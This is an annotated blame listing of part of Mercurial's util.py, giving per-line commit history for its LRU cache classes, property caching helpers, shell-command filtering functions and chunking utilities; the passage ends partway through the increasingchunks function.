45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
815 try:
29839
79add5a4e857 util: properly implement lrucachedict.get()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29787
diff changeset
816 return self._cache[k].value
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
817 except KeyError:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
818 return default
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
819
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
820 def clear(self):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
821 n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
822 while n.key is not _notset:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
823 n.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
824 n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
825
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
826 self._cache.clear()
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
827
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
828 def copy(self):
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
829 result = lrucachedict(self._capacity)
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
830 n = self._head.prev
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
831 # Iterate in oldest-to-newest order, so the copy has the right ordering
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
832 for i in range(len(self._cache)):
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
833 result[n.key] = n.value
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
834 n = n.prev
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
835 return result
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
836
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
837 def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
838 """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
839
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
840 When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
841 list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
842
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
843 Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
844
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
845 previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
846
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
847 ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
848 | |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
849 E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
850
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
851 To:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
852
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
853 ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
854 | |
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
855 E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
856
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
857 This requires the following moves:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
858
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
859 C.next = D (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
860 D.prev = C (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
861 E.next = N (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
862 N.prev = E (node.prev = head.prev)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
863 N.next = A (node.next = head)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
864 A.prev = N (head.prev = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
865 """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
866 head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
867 # C.next = D
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
868 node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
869 # D.prev = C
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
870 node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
871 # N.prev = E
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
872 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
873 # N.next = A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
874 # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
875 # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
876 node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
877 # E.next = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
878 node.next.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
879 # A.prev = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
880 node.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
881
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
882 self._head = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
883
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
884 def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
885 """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
886
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
887 The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
888 """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
889 head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
890 node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
891 head.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
892 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
893 node.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
894 head.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
895 self._size += 1
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
896 return node
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
897
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
898 def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
899 '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
900 cache = {}
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
901 order = collections.deque()
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
902 if func.__code__.co_argcount == 1:
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
903 def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
904 if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
905 if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
906 del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
907 cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
908 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
909 order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
910 order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
911 return cache[arg]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
912 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
913 def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
914 if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
915 if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
916 del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
917 cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
918 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
919 order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
920 order.append(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
921 return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
922
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
923 return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
924
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
925 class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
926 def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
927 self.func = func
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
928 self.name = func.__name__
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
929 def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
930 result = self.func(obj)
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
931 self.cachevalue(obj, result)
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
932 return result
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
933
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
934 def cachevalue(self, obj, value):
19951
d51c4d85ec23 spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents: 19852
diff changeset
935 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
19845
a1237a4b437d repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 19461
diff changeset
936 obj.__dict__[self.name] = value
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
937
35053
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
938 def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
939 '''clear a cached property value, if one has been set'''
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
940 if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
941 del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
942
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
943 def pipefilter(s, cmd):
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
944 '''filter string S through command CMD, returning its output'''
8302
d2ad8c066676 util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents: 8299
diff changeset
945 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
d2ad8c066676 util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents: 8299
diff changeset
946 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
d2ad8c066676 util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents: 8299
diff changeset
947 pout, perr = p.communicate(s)
d2ad8c066676 util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents: 8299
diff changeset
948 return pout
419
28511fc21073 [PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff changeset
949
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
950 def tempfilter(s, cmd):
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
951 '''filter string S through a pair of temporary files with CMD.
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
952 CMD is used as a template to create the real command to be run,
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
953 with the strings INFILE and OUTFILE replaced by the real names of
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
954 the temporary files generated.'''
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
955 inname, outname = None, None
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
956 try:
2165
d821918e3bee Use better names (hg-{usage}-{random}.{suffix}) for temporary files.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 2153
diff changeset
957 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
30945
82f1ef8b4477 py3: convert the mode argument of os.fdopen to unicodes (2 of 2)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30908
diff changeset
958 fp = os.fdopen(infd, pycompat.sysstr('wb'))
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
959 fp.write(s)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
960 fp.close()
2165
d821918e3bee Use better names (hg-{usage}-{random}.{suffix}) for temporary files.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 2153
diff changeset
961 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
962 os.close(outfd)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
963 cmd = cmd.replace('INFILE', inname)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
964 cmd = cmd.replace('OUTFILE', outname)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
965 code = os.system(cmd)
30647
e995f00a9e9a py3: replace sys.platform with pycompat.sysplatform (part 2 of 2)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30644
diff changeset
966 if pycompat.sysplatform == 'OpenVMS' and code & 1:
4720
72fb6f10fac1 OpenVMS patches
Jean-Francois PIERONNE <jf.pieronne@laposte.net>
parents: 4708
diff changeset
967 code = 0
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
968 if code:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
969 raise Abort(_("command '%s' failed: %s") %
14234
600e64004eb5 rename explain_exit to explainexit
Adrian Buehlmann <adrian@cadifra.com>
parents: 14230
diff changeset
970 (cmd, explainexit(code)))
27768
5ef99738a562 util: replace file I/O with readfile
Bryan O'Sullivan <bryano@fb.com>
parents: 27766
diff changeset
971 return readfile(outname)
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
972 finally:
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
973 try:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
974 if inname:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
975 os.unlink(inname)
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
976 except OSError:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
977 pass
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
978 try:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
979 if outname:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
980 os.unlink(outname)
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
981 except OSError:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
982 pass
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
983
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
984 filtertable = {
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
985 'tempfile:': tempfilter,
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
986 'pipe:': pipefilter,
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
987 }
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
988
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
989 def filter(s, cmd):
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
990 "filter a string through a command that transforms its input to its output"
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
991 for name, fn in filtertable.iteritems():
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
992 if cmd.startswith(name):
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
993 return fn(s, cmd[len(name):].lstrip())
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
994 return pipefilter(s, cmd)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
995
1015
22571b8d35d3 Add automatic binary file detection to diff and export
mpm@selenic.com
parents: 917
diff changeset
996 def binary(s):
6507
9699864de219 Let util.binary check entire data for \0 (issue1066, issue1079)
Christian Ebert <blacktrash@gmx.net>
parents: 6501
diff changeset
997 """return true if a string is binary data"""
8118
35f7fda52c92 util: return boolean result directly in util.binary
Martin Geisler <mg@lazybytes.net>
parents: 8011
diff changeset
998 return bool(s and '\0' in s)
6762
f67d1468ac50 util: add sort helper
Matt Mackall <mpm@selenic.com>
parents: 6746
diff changeset
999
7396
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1000 def increasingchunks(source, min=1024, max=65536):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1001 '''return no less than min bytes per chunk while data remains,
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1002 doubling min after each chunk until it reaches max'''
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1003 def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1004 if not x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1005 return 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1006 i = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1007 while x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1008 x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1009 i += 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1010 return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1011
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1012 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1013 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1014 for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1015 buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1016 blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1017 if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1018 if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1019 min = min << 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1020 nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1021 if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1022 min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1023 if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
